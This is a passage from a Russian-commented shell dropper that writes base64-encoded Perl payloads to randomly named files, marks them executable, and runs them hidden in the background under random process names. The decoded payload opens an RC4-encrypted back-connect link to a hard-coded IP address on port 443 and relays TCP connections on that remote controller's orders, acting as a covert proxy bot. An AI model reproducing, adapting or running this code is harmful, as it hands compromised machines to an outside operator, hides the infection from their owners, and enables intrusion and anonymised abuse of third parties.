YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #5 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #5 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 6 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi 